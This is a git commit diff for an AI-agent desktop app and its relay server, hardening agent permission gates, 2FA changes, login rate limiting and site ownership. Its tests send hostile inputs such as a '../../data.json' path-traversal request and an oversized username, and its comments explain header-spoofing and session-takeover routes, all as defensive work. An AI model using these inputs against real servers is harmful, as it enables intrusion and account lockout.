Bug sweep: gates, relay 2FA, Windows input, snapshots, encodings

Permissions and reach
- a file leaving a computer passes the same questions as reading it;
  "looking" shell commands that do more than look ask first
- a symlink out of the work/sealed folder counts as outside it
  (real paths, not just lexical ones); the search walk skips links
- web_fetch and skill_install read the public web only: localhost, the
  LAN and cloud metadata are refused, at every redirect
- preview shows a file without running it; browser_upload may ask
- vault: logins no longer match across shared suffixes (pages.dev,
  com.tw, ...); registrable_domain knows public suffixes
- axwrite: found elements are retained (use-after-free)

Relay
- replacing or turning off 2FA needs the current code (rate-limited);
  new recovery codes only count once enrollment is verified
- a removed computer loses its socket and its `call` access
- a site name taken by another account answers 409
- RELAY_TRUST_PROXY: the login lock counts the caller's address, not
  the proxy's (compose files and README)
- httpd: half a body is not a request

Desktop
- sign-in, join and restore work with 2FA on (code field; --serve reads
  ANYBOT_ACCOUNT_CODE; the setup wizard points to a pairing code)
- Windows: text was typed twice; modifiers are held through click, drag
  and scroll; horizontal scroll; screen control is no longer refused
- a recording that hits the limit is transcribed, not thrown away
- bot's computer: a new home volume restores the snapshot; a snapshot
  is read through before the home is wiped; a failed volume removal
  stops reset/restore
- events of a stopped turn no longer land in the next one; each channel
  message gets a turn of its own
- saving a bot's settings keeps what it got meanwhile (three-way merge);
  a save file that cannot be read is kept
- pages in Big5/GBK/Shift_JIS are read in their own encoding
  (encoding_rs); osascript output past 64 KB no longer stalls
- pick_tab keeps a job's own non-http tab; pictures larger than the
  texture limit are fitted; the auto-update time field takes typing
- skills live in <data>/skills; memories are unnumbered in the prompt;
  the phone may skillify and skill_install

CI
- the test step fails when the tests fail (it piped into tail)

Tests: anybot 268 passed, 27 ignored; relay 16 passed; clippy unchanged.
Not run: Windows on a real machine (win.rs type-checked alone), the
Docker paths of the bot's computer, the live accessibility writes.

Co-authored-by: Cursor <cursoragent@cursor.com>
This commit is contained in:
王性驊 2026-11-10 11:46:17 +08:00
parent cf1d4d618c
commit a514b33fb3
40 changed files with 2192 additions and 364 deletions

View File

@ -26,7 +26,11 @@ jobs:
- name: Build - name: Build
run: cargo build --bin anybot run: cargo build --bin anybot
- name: Test - name: Test
run: cargo test --bin anybot -- --skip live 2>&1 | tail -5 # The step fails when a test fails (piped straight into `tail`, its result was
# tail's: always a pass). The end of the log is shown either way.
run: |
cargo test --bin anybot -- --skip live > "${RUNNER_TEMP:-/tmp}/test.log" 2>&1 || { tail -n 80 "${RUNNER_TEMP:-/tmp}/test.log"; exit 1; }
tail -n 5 "${RUNNER_TEMP:-/tmp}/test.log"
- name: Clippy (report only) - name: Clippy (report only)
run: cargo clippy --bin anybot 2>&1 | tail -30 run: cargo clippy --bin anybot 2>&1 | tail -30
- name: Relay build and test - name: Relay build and test

View File

@ -25,7 +25,10 @@ jobs:
cargo build --release --bin anybot cargo build --release --bin anybot
cd relay && cargo build --release cd relay && cargo build --release
- name: Test - name: Test
run: cargo test --release --bin anybot -- --skip live 2>&1 | tail -3 # A failing test stops the release (piped straight into `tail`, it never did).
run: |
cargo test --release --bin anybot -- --skip live > "${RUNNER_TEMP:-/tmp}/test.log" 2>&1 || { tail -n 80 "${RUNNER_TEMP:-/tmp}/test.log"; exit 1; }
tail -n 3 "${RUNNER_TEMP:-/tmp}/test.log"
- name: Package - name: Package
run: sh deploy/ci/package-linux.sh "${GITHUB_REF_NAME#v}" run: sh deploy/ci/package-linux.sh "${GITHUB_REF_NAME#v}"
- name: Upload - name: Upload

1
Cargo.lock generated
View File

@ -349,6 +349,7 @@ dependencies = [
"des", "des",
"dirs", "dirs",
"eframe", "eframe",
"encoding_rs",
"flate2", "flate2",
"futures-lite", "futures-lite",
"hayro", "hayro",

View File

@ -14,6 +14,8 @@ path = "src/main.rs"
zhconv = "0.4" zhconv = "0.4"
eframe = "0.37" eframe = "0.37"
ureq = { version = "3", features = ["json"] } ureq = { version = "3", features = ["json"] }
# Web pages that are not UTF-8 (Big5, GBK, Shift_JIS…), read as what they say they are.
encoding_rs = "0.8"
# 長連線 to the account server (WebSocket over the same TLS ureq uses), and compressing what goes over it. # 長連線 to the account server (WebSocket over the same TLS ureq uses), and compressing what goes over it.
rustls = { version = "0.23", default-features = false, features = ["ring", "std", "tls12", "logging"] } rustls = { version = "0.23", default-features = false, features = ["ring", "std", "tls12", "logging"] }
# Which certificates the account server may show: the public ones (built in), plus the ones this # Which certificates the account server may show: the public ones (built in), plus the ones this

View File

@ -24,6 +24,10 @@ services:
# Your public address (for the links of sites the bots publish), e.g. https://anybot.example.com # Your public address (for the links of sites the bots publish), e.g. https://anybot.example.com
ANYBOT_RELAY_PUBLIC_URL: "${ANYBOT_RELAY_PUBLIC_URL:-}" ANYBOT_RELAY_PUBLIC_URL: "${ANYBOT_RELAY_PUBLIC_URL:-}"
ANYBOT_RELAY_INVITE: "${ANYBOT_RELAY_INVITE:-}" ANYBOT_RELAY_INVITE: "${ANYBOT_RELAY_INVITE:-}"
# Caddy (or `tailscale serve`) is in front: the caller's address is the one it reports.
# Without this every login attempt counts as coming from the proxy, and a few wrong
# passwords from anyone lock that account for everyone.
RELAY_TRUST_PROXY: "1"
volumes: volumes:
- relay-data:/data - relay-data:/data
caddy: caddy:

View File

@ -14,8 +14,14 @@ cargo build --release 2>&1 | grep -E "^(error|warning)" -A7 || true
Xvfb :99 -screen 0 1400x900x24 >/dev/null 2>&1 & Xvfb :99 -screen 0 1400x900x24 >/dev/null 2>&1 &
export DISPLAY=:99 LANG=zh_TW.UTF-8 export DISPLAY=:99 LANG=zh_TW.UTF-8
sleep 1 sleep 1
cargo test --release 2>&1 | grep -E "test result|FAILED|panicked" # (A failing test stops here: piped straight into grep, the result was the one grep gave.)
cargo test --release x11_live -- --ignored 2>&1 | grep -E "test result|panicked" run_tests() {
cargo test --release "$@" >/tmp/anybot-test.log 2>&1 && rc=0 || rc=$?
grep -E "test result|FAILED|panicked" /tmp/anybot-test.log || true
return $rc
}
run_tests
run_tests x11_live -- --ignored
useradd -m t 2>/dev/null; chmod 777 /out useradd -m t 2>/dev/null; chmod 777 /out
runuser -u t -- env CARGO_TARGET_DIR=/target HOME=/home/t sh deploy/linux/dev/wayland_live.sh 2>&1 | sed -n "/--- wev heard/,\$p" runuser -u t -- env CARGO_TARGET_DIR=/target HOME=/home/t sh deploy/linux/dev/wayland_live.sh 2>&1 | sed -n "/--- wev heard/,\$p"
for v in chat computers general; do for v in chat computers general; do

View File

@ -24,6 +24,10 @@ services:
# Your public address (for the links of sites the bots publish), e.g. https://anybot.example.com # Your public address (for the links of sites the bots publish), e.g. https://anybot.example.com
ANYBOT_RELAY_PUBLIC_URL: "${ANYBOT_RELAY_PUBLIC_URL:-}" ANYBOT_RELAY_PUBLIC_URL: "${ANYBOT_RELAY_PUBLIC_URL:-}"
ANYBOT_RELAY_INVITE: "${ANYBOT_RELAY_INVITE:-}" ANYBOT_RELAY_INVITE: "${ANYBOT_RELAY_INVITE:-}"
# Caddy (or `tailscale serve`) is in front: the caller's address is the one it reports.
# Without this every login attempt counts as coming from the proxy, and a few wrong
# passwords from anyone lock that account for everyone.
RELAY_TRUST_PROXY: "1"
volumes: volumes:
- relay-data:/data - relay-data:/data
caddy: caddy:

View File

@ -53,6 +53,7 @@ cd relay && cargo build --release
| `ANYBOT_RELAY_INVITE` | 第二個以後的帳號要填的邀請碼。空白表示不開放註冊 | | `ANYBOT_RELAY_INVITE` | 第二個以後的帳號要填的邀請碼。空白表示不開放註冊 |
| `ANYBOT_RELAY_CONTACT` | 推播服務需要的聯絡方式,例如 `mailto:你@你的網域` 或 `https://你的網域` | | `ANYBOT_RELAY_CONTACT` | 推播服務需要的聯絡方式,例如 `mailto:你@你的網域` 或 `https://你的網域` |
| `ANYBOT_RELAY_PUBLIC_URL` | 對外的網址,例如 `https://anybot.你的網域`。Bot 發布網站後,會拿這個組成網址告訴你 | | `ANYBOT_RELAY_PUBLIC_URL` | 對外的網址,例如 `https://anybot.你的網域`。Bot 發布網站後,會拿這個組成網址告訴你 |
| `RELAY_TRUST_PROXY` | 前面有反向代理(Caddy、nginx、`tailscale serve`)時設成 `1`:登入失敗的鎖定會依代理回報的來源位址計算。沒設的話,所有人都算成代理的位址,任何人連續輸錯密碼就會把那個帳號鎖住。只有在外部連不到這個連接埠、只能經過代理時才設(附的 `docker-compose.yml` 已經設好) |
| `PORT` | 連接埠,預設 8080,也可以用 `--port` 指定 | | `PORT` | 連接埠,預設 8080,也可以用 `--port` 指定 |
## 家裡的電腦加 Tailscale(不用網域) ## 家裡的電腦加 Tailscale(不用網域)

View File

@ -10,6 +10,10 @@ services:
# Your public address (for the links of sites the bots publish), e.g. https://anybot.example.com # Your public address (for the links of sites the bots publish), e.g. https://anybot.example.com
ANYBOT_RELAY_PUBLIC_URL: "${ANYBOT_RELAY_PUBLIC_URL:-}" ANYBOT_RELAY_PUBLIC_URL: "${ANYBOT_RELAY_PUBLIC_URL:-}"
ANYBOT_RELAY_INVITE: "" ANYBOT_RELAY_INVITE: ""
# Caddy is in front (nothing else reaches this container): the caller's address is the one
# Caddy reports. Without this every login attempt counts as coming from Caddy, and a few
# wrong passwords from anyone lock that account for everyone.
RELAY_TRUST_PROXY: "1"
volumes: volumes:
- relay-data:/data - relay-data:/data
caddy: caddy:

View File

@ -58,6 +58,10 @@ const ONLINE_SECS: u64 = 60;
/// Sessions last this long without use. /// Sessions last this long without use.
const SESSION_DAYS: i64 = 90; const SESSION_DAYS: i64 = 90;
const MAX_FAILS: u32 = 8; const MAX_FAILS: u32 = 8;
/// Wrong-password counters kept at once (each a short key: an address and at most
/// FAIL_NAME_CHARS of the name).
const MAX_FAIL_KEYS: usize = 50_000;
const FAIL_NAME_CHARS: usize = 64;
#[derive(Clone, Serialize, Deserialize, Default)] #[derive(Clone, Serialize, Deserialize, Default)]
struct User { struct User {
@ -72,6 +76,10 @@ struct User {
/// sha256 of each unused recovery code (8 are handed out once, at enabling). /// sha256 of each unused recovery code (8 are handed out once, at enabling).
#[serde(default)] #[serde(default)]
recover: Vec<String>, recover: Vec<String>,
/// The recovery codes handed out with `totp_pending`: they take the place of `recover`
/// only when the new secret is proven.
#[serde(default)]
recover_pending: Vec<String>,
} }
#[derive(Clone, Serialize, Deserialize, Default)] #[derive(Clone, Serialize, Deserialize, Default)]
@ -130,6 +138,9 @@ struct Data {
/// Phones that turned notifications on. /// Phones that turned notifications on.
#[serde(default)] #[serde(default)]
subs: Vec<Sub>, subs: Vec<Sub>,
/// 發布網站: each published site's folder name → the account it belongs to.
#[serde(default)]
sites: HashMap<String, String>,
} }
const SW: &str = r#"self.addEventListener("install", () => self.skipWaiting()); const SW: &str = r#"self.addEventListener("install", () => self.skipWaiting());
@ -301,6 +312,19 @@ impl Relay {
d.hosts.iter().find(|x| x.token_hash == h).cloned() d.hosts.iter().find(|x| x.token_hash == h).cloned()
} }
/// A host whose registration is gone: its open connection is told so and let go.
fn hang_up(&self, id: &str) {
if let Some(s) = self.sockets.lock().unwrap().remove(id) {
let _ = s.tx.send(wire::pack(&json!({"t": "bye"}), &[]));
}
}
/// This host is still one of an account's computers (its key was not replaced or removed
/// since it connected).
fn still_registered(&self, h: &Host) -> bool {
self.data.lock().unwrap().hosts.iter().any(|x| x.id == h.id && x.token_hash == h.token_hash)
}
fn online(&self, id: &str) -> bool { fn online(&self, id: &str) -> bool {
self.sockets.lock().unwrap().contains_key(id) || self.seen.lock().unwrap().get(id).map(|t| t.elapsed().as_secs() < ONLINE_SECS).unwrap_or(false) self.sockets.lock().unwrap().contains_key(id) || self.seen.lock().unwrap().get(id).map(|t| t.elapsed().as_secs() < ONLINE_SECS).unwrap_or(false)
} }
@ -312,6 +336,15 @@ impl Relay {
fn failed(&self, key: &str) { fn failed(&self, key: &str) {
let mut f = self.fails.lock().unwrap(); let mut f = self.fails.lock().unwrap();
// Anyone can fail, under any name, without signing in: the table lets go of what is
// past its five minutes, and past the cap of everything (it only grew; with names of
// any length it was this server's memory for the asking).
if f.len() >= MAX_FAIL_KEYS {
f.retain(|_, (_, t)| t.elapsed() < Duration::from_secs(300));
if f.len() >= MAX_FAIL_KEYS {
f.clear();
}
}
let e = f.entry(key.to_string()).or_insert((0, Instant::now())); let e = f.entry(key.to_string()).or_insert((0, Instant::now()));
if e.1.elapsed() > Duration::from_secs(300) { if e.1.elapsed() > Duration::from_secs(300) {
*e = (0, Instant::now()); *e = (0, Instant::now());
@ -519,6 +552,10 @@ impl Relay {
} }
if marked.elapsed().as_secs() >= 10 { if marked.elapsed().as_secs() >= 10 {
marked = Instant::now(); marked = Instant::now();
// Taken off the account while connected: the connection ends here.
if !self.still_registered(&h) {
break;
}
self.seen.lock().unwrap().insert(h.id.clone(), Instant::now()); self.seen.lock().unwrap().insert(h.id.clone(), Instant::now());
} }
} }
@ -582,7 +619,9 @@ impl Relay {
let _ = tx.send(wire::pack(&json!({"t": "ret", "id": id, "status": a.status, "ctype": a.ctype}), &a.body)); let _ = tx.send(wire::pack(&json!({"t": "ret", "id": id, "status": a.status, "ctype": a.ctype}), &a.body));
return; return;
}; };
let same = self.data.lock().unwrap().hosts.iter().any(|x| x.id == to && x.user == h.user); // (The asker too must still be one of the account's computers: `h` is who it
// was when it connected.)
let same = self.still_registered(h) && self.data.lock().unwrap().hosts.iter().any(|x| x.id == to && x.user == h.user);
if !same || to == h.id { if !same || to == h.id {
let a = Answer::error(403, "不是同一個帳號的電腦"); let a = Answer::error(403, "不是同一個帳號的電腦");
let _ = tx.send(wire::pack(&json!({"t": "ret", "id": id, "status": a.status, "ctype": a.ctype}), &a.body)); let _ = tx.send(wire::pack(&json!({"t": "ret", "id": id, "status": a.status, "ctype": a.ctype}), &a.body));
@ -748,7 +787,9 @@ impl Relay {
Resp::json(&json!({"code": code, "expires_in": PAIR_SECS})) Resp::json(&json!({"code": code, "expires_in": PAIR_SECS}))
} }
("POST", ["relay", "pair", "claim"]) => { ("POST", ["relay", "pair", "claim"]) => {
let key = format!("pair:{}", req.peer); // (The real peer, like the login: behind the proxy every claim came from the
// proxy's address, and eight wrong codes from anyone stopped pairing for all.)
let key = format!("pair:{}", Self::peer_ip(&req));
if self.too_many_fails(&key) { if self.too_many_fails(&key) {
return Resp::error(429, "配對碼錯太多次,請 5 分鐘後再試"); return Resp::error(429, "配對碼錯太多次,請 5 分鐘後再試");
} }
@ -770,9 +811,18 @@ impl Relay {
} }
("POST", ["relay", "hosts", id, "remove"]) => { ("POST", ["relay", "hosts", id, "remove"]) => {
let Some(user) = self.session(&req) else { return Resp::error(401, "請先登入") }; let Some(user) = self.session(&req) else { return Resp::error(401, "請先登入") };
let mut d = self.data.lock().unwrap(); let removed = {
d.hosts.retain(|x| !(x.user == user && x.id == *id)); let mut d = self.data.lock().unwrap();
self.save(&d); let before = d.hosts.len();
d.hosts.retain(|x| !(x.user == user && x.id == *id));
self.save(&d);
before != d.hosts.len()
};
// Its open connection goes with it (a computer taken off the list — lost,
// sold — stayed connected, and kept asking the account's other computers).
if removed {
self.hang_up(id);
}
Resp::json(&json!({"ok": true})) Resp::json(&json!({"ok": true}))
} }
("GET", ["relay", "host", "next"]) => { ("GET", ["relay", "host", "next"]) => {
@ -839,8 +889,27 @@ impl Relay {
let site = format!("{}-{name}", h.user.replace(|c: char| !c.is_ascii_alphanumeric(), "-")); let site = format!("{}-{name}", h.user.replace(|c: char| !c.is_ascii_alphanumeric(), "-"));
let dir = self.dir.join("sites").join(&site); let dir = self.dir.join("sites").join(&site);
let v = req.json(); let v = req.json();
let remove = v["remove"].as_bool() == Some(true);
// Two accounts can come to the same folder name (「a.b」 and 「a-b」; 「a」 with
// the site 「b-c」 and 「a-b」 with 「c」): the folder is the first one's, and the
// other is told — it used to replace (or delete) the first one's pages.
{
let mut d = self.data.lock().unwrap();
match d.sites.get(&site) {
Some(owner) if *owner != h.user => return Resp::error(409, "這個網站名稱和別的帳號的網站撞名了,請換一個名稱"),
Some(_) if remove => {
d.sites.remove(&site);
self.save(&d);
}
None if !remove => {
d.sites.insert(site.clone(), h.user.clone());
self.save(&d);
}
_ => {}
}
}
let _ = std::fs::remove_dir_all(&dir); let _ = std::fs::remove_dir_all(&dir);
if v["remove"].as_bool() == Some(true) { if remove {
return Resp::json(&json!({"ok": true})); return Resp::json(&json!({"ok": true}));
} }
let mut n = 0; let mut n = 0;
@ -907,9 +976,7 @@ impl Relay {
self.save(&d); self.save(&d);
} }
// Its open connection is closed, so it hears "the key is gone" at once. // Its open connection is closed, so it hears "the key is gone" at once.
if let Some(s) = self.sockets.lock().unwrap().remove(&h.id) { self.hang_up(&h.id);
let _ = s.tx.send(wire::pack(&json!({"t": "bye"}), &[]));
}
Resp::json(&json!({"ok": true})) Resp::json(&json!({"ok": true}))
} }
("PUT", ["relay", "backup"]) => { ("PUT", ["relay", "backup"]) => {
@ -1014,11 +1081,8 @@ impl Relay {
// Rate-limit by the real peer. A client writes its own first X-Forwarded-For entry, so // Rate-limit by the real peer. A client writes its own first X-Forwarded-For entry, so
// taking the first value lets anyone reset the counter by changing the header. Only when // taking the first value lets anyone reset the counter by changing the header. Only when
// RELAY_TRUST_PROXY=1 (behind a reverse proxy) use the proxy's appended (last) entry. // RELAY_TRUST_PROXY=1 (behind a reverse proxy) use the proxy's appended (last) entry.
let ip = match (std::env::var("RELAY_TRUST_PROXY").is_ok(), req.header("x-forwarded-for")) { let ip = Self::peer_ip(req);
(true, xff) if !xff.is_empty() => xff.rsplit(',').next().unwrap_or(xff).trim().to_string(), let key = format!("{ip}|{}", user.chars().take(FAIL_NAME_CHARS).collect::<String>());
_ => req.peer.clone(),
};
let key = format!("{ip}|{user}");
if self.too_many_fails(&key) { if self.too_many_fails(&key) {
return Resp::error(429, "密碼錯太多次,請 5 分鐘後再試"); return Resp::error(429, "密碼錯太多次,請 5 分鐘後再試");
} }
@ -1056,7 +1120,8 @@ impl Relay {
fn peer_ip(req: &Req) -> String { fn peer_ip(req: &Req) -> String {
match (std::env::var("RELAY_TRUST_PROXY").is_ok(), req.header("x-forwarded-for")) { match (std::env::var("RELAY_TRUST_PROXY").is_ok(), req.header("x-forwarded-for")) {
(true, xff) if !xff.is_empty() => xff.rsplit(',').next().unwrap_or(xff).trim().to_string(), // (Kept short: it is a key in the table of failures.)
(true, xff) if !xff.is_empty() => xff.rsplit(',').next().unwrap_or(xff).trim().chars().take(64).collect(),
_ => req.peer.clone(), _ => req.peer.clone(),
} }
} }
@ -1076,7 +1141,7 @@ impl Relay {
if made.elapsed() > Duration::from_secs(300) { if made.elapsed() > Duration::from_secs(300) {
return Resp::error(400, "這次登入已過期,請重新輸入密碼"); return Resp::error(400, "這次登入已過期,請重新輸入密碼");
} }
let key = format!("2fa|{}|{user}", Self::peer_ip(req)); let key = format!("2fa|{}|{}", Self::peer_ip(req), user.chars().take(FAIL_NAME_CHARS).collect::<String>());
if self.too_many_fails(&key) { if self.too_many_fails(&key) {
return Resp::error(429, "驗證碼錯太多次,請 5 分鐘後再試"); return Resp::error(429, "驗證碼錯太多次,請 5 分鐘後再試");
} }
@ -1115,11 +1180,31 @@ impl Relay {
} }
if let Some(u) = d.users.iter_mut().find(|u| u.name == user) { if let Some(u) = d.users.iter_mut().find(|u| u.name == user) {
u.totp = std::mem::take(&mut u.totp_pending); u.totp = std::mem::take(&mut u.totp_pending);
// The codes that came with this secret (an enrollment started by an older server
// put them in `recover` already).
if !u.recover_pending.is_empty() {
u.recover = std::mem::take(&mut u.recover_pending);
}
} }
self.save(&d); self.save(&d);
Resp::json(&json!({"ok": true})) Resp::json(&json!({"ok": true}))
} }
/// With 2FA on, changing or removing it takes the code of the authenticator that is on —
/// a session alone must not do it — and guessing that code is counted like a login's.
/// None: go on. Some: the refusal.
fn second_factor_proven(&self, user: &str, secret: &str, code: &str) -> Option<Resp> {
let key = format!("2fa-change|{}", user.chars().take(FAIL_NAME_CHARS).collect::<String>());
if self.too_many_fails(&key) {
return Some(Resp::error(429, "驗證碼錯太多次,請 5 分鐘後再試"));
}
if httpd::totp_check(secret, code.trim()) {
return None;
}
self.failed(&key);
Some(Resp::error(401, "驗證碼不對:輸入驗證器 App 上現在的那個六位數"))
}
/// Start 2FA: a new secret (the app scans the QR) and eight recovery codes, shown once, /// Start 2FA: a new secret (the app scans the QR) and eight recovery codes, shown once,
/// stored hashed. 2FA is not on until verify_2fa has seen a real code. /// stored hashed. 2FA is not on until verify_2fa has seen a real code.
fn enroll_2fa(&self, req: &Req) -> Resp { fn enroll_2fa(&self, req: &Req) -> Resp {
@ -1128,8 +1213,21 @@ impl Relay {
let codes: Vec<String> = (0..8).map(|_| httpd::random_hex(5)).collect(); let codes: Vec<String> = (0..8).map(|_| httpd::random_hex(5)).collect();
let mut d = self.data.lock().unwrap(); let mut d = self.data.lock().unwrap();
let Some(u) = d.users.iter_mut().find(|u| u.name == user) else { return Resp::error(404, "帳號不存在") }; let Some(u) = d.users.iter_mut().find(|u| u.name == user) else { return Resp::error(404, "帳號不存在") };
// Already on: a new secret is a new second factor, so it takes the present one's code.
// (A session by itself — a phone left unlocked, a stolen token — could start over,
// prove its own new secret, and the account's owner was locked out of it. Starting
// over also threw the recovery codes away before anything was proven.)
if !u.totp.is_empty() {
let (current, code) = (u.totp.clone(), req.json()["code"].as_str().unwrap_or("").to_string());
drop(d);
if let Some(no) = self.second_factor_proven(&user, &current, &code) {
return no;
}
d = self.data.lock().unwrap();
}
let Some(u) = d.users.iter_mut().find(|u| u.name == user) else { return Resp::error(404, "帳號不存在") };
u.totp_pending = secret.clone(); u.totp_pending = secret.clone();
u.recover = codes.iter().map(|c| httpd::sha256_hex(c)).collect(); u.recover_pending = codes.iter().map(|c| httpd::sha256_hex(c)).collect();
self.save(&d); self.save(&d);
Resp::json(&json!({"secret": secret, "uri": httpd::totp_uri(&secret, &user), "recovery_codes": codes})) Resp::json(&json!({"secret": secret, "uri": httpd::totp_uri(&secret, &user), "recovery_codes": codes}))
} }
@ -1143,12 +1241,17 @@ impl Relay {
if u.totp.is_empty() { if u.totp.is_empty() {
return Resp::json(&json!({"ok": true})); return Resp::json(&json!({"ok": true}));
} }
if !httpd::totp_check(&u.totp, &code) { let current = u.totp.clone();
return Resp::error(401, "驗證碼不對"); drop(d);
if let Some(no) = self.second_factor_proven(&user, &current, &code) {
return no;
} }
let mut d = self.data.lock().unwrap();
let Some(u) = d.users.iter_mut().find(|u| u.name == user) else { return Resp::error(404, "帳號不存在") };
u.totp.clear(); u.totp.clear();
u.totp_pending.clear(); u.totp_pending.clear();
u.recover.clear(); u.recover.clear();
u.recover_pending.clear();
self.save(&d); self.save(&d);
Resp::json(&json!({"ok": true})) Resp::json(&json!({"ok": true}))
} }
@ -1343,6 +1446,14 @@ mod tests {
assert!(v["uri"].as_str().unwrap().starts_with("otpauth://totp/AnyBot:d2?secret=")); assert!(v["uri"].as_str().unwrap().starts_with("otpauth://totp/AnyBot:d2?secret="));
assert_eq!(post(port, "/relay/2fa/verify", &s, json!({"code": "000000"})).0, 401); assert_eq!(post(port, "/relay/2fa/verify", &s, json!({"code": "000000"})).0, 401);
assert_eq!(post(port, "/relay/2fa/verify", &s, json!({"code": httpd::totp_code(&secret, step_now())})).0, 200); assert_eq!(post(port, "/relay/2fa/verify", &s, json!({"code": httpd::totp_code(&secret, step_now())})).0, 200);
// On: a session alone can't put another secret in its place (nor throw the recovery
// codes away by trying) — that takes the code of the one that is on.
assert_eq!(post(port, "/relay/2fa/enroll", &s, json!({})).0, 401);
assert_eq!(post(port, "/relay/2fa/enroll", &s, json!({"code": "000000"})).0, 401);
let (st, again) = post(port, "/relay/2fa/enroll", &s, json!({"code": httpd::totp_code(&secret, step_now())}));
assert_eq!(st, 200);
// …and until the new one is proven, the old secret and its recovery codes stand.
assert_ne!(again["secret"], json!(secret));
// Password alone no longer signs in: it buys a challenge, the code signs in. // Password alone no longer signs in: it buys a challenge, the code signs in.
post(port, "/relay/logout", &s, json!({})); post(port, "/relay/logout", &s, json!({}));
let (_, v) = post(port, "/relay/login", "", json!({"user": "d2", "password": "12345678", "device": "phone"})); let (_, v) = post(port, "/relay/login", "", json!({"user": "d2", "password": "12345678", "device": "phone"}));
@ -1504,6 +1615,21 @@ mod tests {
assert_eq!(get(port, "/s/boss-trip/../../data.json", "").0, 404); assert_eq!(get(port, "/s/boss-trip/../../data.json", "").0, 404);
assert!(!dir.join("evil").exists() && !dir.join("sites").join("evil").exists()); assert!(!dir.join("evil").exists() && !dir.join("sites").join("evil").exists());
assert_eq!(post(port, "/relay/host/sites/Bad_Name", &ht, json!({})).0, 400); assert_eq!(post(port, "/relay/host/sites/Bad_Name", &ht, json!({})).0, 400);
// Another account whose name and site come to the same folder (「boss-trip」): told
// so, and the first one's pages stay (it can't delete them either).
relay.data.lock().unwrap().users.push(User { name: "boss-trip".into(), pass: httpd::hash_password("12345678"), ..Default::default() });
let (other, other_key) = relay.add_host("boss-trip", "n");
assert_eq!(other.user, "boss-trip");
let (st, _) = post(port, "/relay/host/sites/x", &other_key, json!({"files": [{"path": "index.html", "data": b("mine")}]}));
assert_eq!(st, 200, "its own names are its own");
let (st, _) = post(port, "/relay/host/sites/trip-x", &ht, json!({"files": [{"path": "index.html", "data": b("taken over")}]}));
assert_eq!(st, 409, "boss + trip-x is boss-trip + x");
assert_eq!(post(port, "/relay/host/sites/trip-x", &ht, json!({"remove": true})).0, 409);
let mut r = agent.get(&format!("http://127.0.0.1:{port}/s/boss-trip-x/")).call().unwrap();
assert_eq!(r.body_mut().read_to_string().unwrap(), "mine");
// Its owner takes it down, and the name is free again.
assert_eq!(post(port, "/relay/host/sites/x", &other_key, json!({"remove": true})).0, 200);
assert_eq!(post(port, "/relay/host/sites/trip-x", &ht, json!({"files": [{"path": "index.html", "data": b("now mine")}]})).0, 200);
let _ = std::fs::remove_dir_all(&dir); let _ = std::fs::remove_dir_all(&dir);
} }
@ -1600,6 +1726,16 @@ mod tests {
assert_eq!(post(port, "/relay/host/remove", &mtoken, json!({})).0, 200); assert_eq!(post(port, "/relay/host/remove", &mtoken, json!({})).0, 200);
let hosts: Value = serde_json::from_slice(&get(port, "/relay/host/peers", &btoken).1).unwrap(); let hosts: Value = serde_json::from_slice(&get(port, "/relay/host/peers", &btoken).1).unwrap();
assert_eq!(hosts["hosts"].as_array().map(|a| a.len()), Some(2)); assert_eq!(hosts["hosts"].as_array().map(|a| a.len()), Some(2));
// Taken off the list from the phone while it is connected: its connection is told to
// go, and what it still asks through it is refused.
let hands = relay.data.lock().unwrap().hosts.iter().find(|h| h.id == hid).cloned().unwrap();
let (wtx, wrx) = channel::<Vec<u8>>();
relay.sockets.lock().unwrap().insert(hid.clone(), Sock { tx: wtx, serial: 0 });
assert!(relay.still_registered(&hands));
assert_eq!(post(port, &format!("/relay/hosts/{hid}/remove"), &s, json!({})).0, 200);
assert!(!relay.sockets.lock().unwrap().contains_key(&hid));
assert_eq!(wire::unpack(&wrx.try_recv().unwrap()).unwrap().0["t"], "bye");
assert!(!relay.still_registered(&hands));
let _ = std::fs::remove_dir_all(&dir); let _ = std::fs::remove_dir_all(&dir);
} }
@ -1631,6 +1767,15 @@ mod tests {
.send(json!({"user": "boss", "password": "12345678"}).to_string().as_bytes()) .send(json!({"user": "boss", "password": "12345678"}).to_string().as_bytes())
.unwrap(); .unwrap();
assert_eq!(rr.status().as_u16(), 429); assert_eq!(rr.status().as_u16(), 429);
// The table of failures stays bounded, whatever names are tried and however long.
for i in 0..MAX_FAIL_KEYS + 10 {
relay.failed(&format!("203.0.113.9|nobody-{i}"));
}
assert!(relay.fails.lock().unwrap().len() <= MAX_FAIL_KEYS);
let long = "x".repeat(100_000);
let mut rr = agent.post(&format!("http://127.0.0.1:{port}/relay/login")).send(json!({"user": long, "password": "p"}).to_string().as_bytes()).unwrap();
let _ = rr.body_mut().read_to_string();
assert!(relay.fails.lock().unwrap().keys().all(|k| k.len() < 200));
let _ = std::fs::remove_dir_all(&dir); let _ = std::fs::remove_dir_all(&dir);
} }
} }

View File

@ -1261,6 +1261,64 @@ pub fn spawn(job: Job, bot_id: u64, tx: Sender<(u64, StreamEvent)>, cancel: Arc<
// …and neither does AnyBot's own browser (like the reference assistant's own browser). // …and neither does AnyBot's own browser (like the reference assistant's own browser).
let at = web::is_web_tool(&call.name).then(|| browser_place(&job, &call.name, &call.args)); let at = web::is_web_tool(&call.name).then(|| browser_place(&job, &call.name, &call.args));
if let Some((place, on)) = at.filter(|(place, _)| call.name == "web_fetch" || bots_browser(place, &call.name, &call.args)) { if let Some((place, on)) = at.filter(|(place, _)| call.name == "web_fetch" || bots_browser(place, &call.name, &call.args)) {
// 上傳: a file of this computer on its way to a web page is read on the way,
// like one on its way into the chat (the bot's browser asks nothing else, and
// any file here could be put on any page). What the person attached for this
// bot goes as it is. The path is made whole here, so the browser takes the
// very file that was checked.
let mut call_args = call.args.clone();
if call.name == "browser_upload" && matches!(place, BrowserAt::Here) {
let path = tools::args_of(&call.args)["path"].as_str().unwrap_or("").to_string();
let here = job.computers.iter().find(|t| matches!(t.place, tools::Place::Local { .. })).cloned().unwrap_or_else(|| tools::Target {
name: crate::model::THIS_COMPUTER_NAME.into(),
// (Not one of this bot's computers: nothing on it is "inside".)
place: tools::Place::Local { workdir: std::env::temp_dir().join("anybot-no-work-folder") },
});
let named = match &here.place {
tools::Place::Local { workdir } => tools::resolve(workdir, &path),
_ => std::path::PathBuf::from(&path),
};
let direct = job.direct.load(Ordering::Relaxed);
let decision = if crate::attach::is_given(bot_id, &named) {
Decision::Allow
} else if job.local_locked {
Decision::Deny(format!("「在這台電腦上執行」設成了永不允許(或被管理員關閉),不能上傳「{}」上的檔案。", here.name))
} else {
match tools::decide_file_out(&here, &path, &grants) {
